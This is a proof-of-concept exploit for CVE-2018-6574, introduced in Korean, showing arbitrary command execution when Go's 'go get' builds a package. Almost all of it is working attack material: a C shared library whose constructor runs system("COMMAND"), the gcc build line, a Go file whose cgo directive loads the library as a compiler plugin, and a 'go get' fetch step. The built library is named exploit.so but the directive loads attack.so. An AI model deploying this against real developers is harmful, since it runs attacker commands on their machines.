
CVE-2018-6574에 대한 개념 증명 익스플로잇으로, CGO 공유 라이브러리를 사용한 악성 Go 플러그인 주입을 통해 임의 명령 실행을 시연합니다.
CVE-2018-6574용 익스플로잇 POC
#include<stdio.h>
#include<stdlib.h>
static void malicious() __attribute__((constructor));
void malicious() {
system("COMMAND");
}
gcc -shared -o exploit.so -fPIC exploit.c
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
// return f();
// }
//
// int fortytwo()
// {
// return 42;
// }
import "C"
import "fmt"
func main() {
f := C.intFunc(C.fortytwo)
fmt.Println(int(C.bridge_int_func(f)))
// Output: 42
}
go get github.com/your-repo/CVE-2018-6574-POC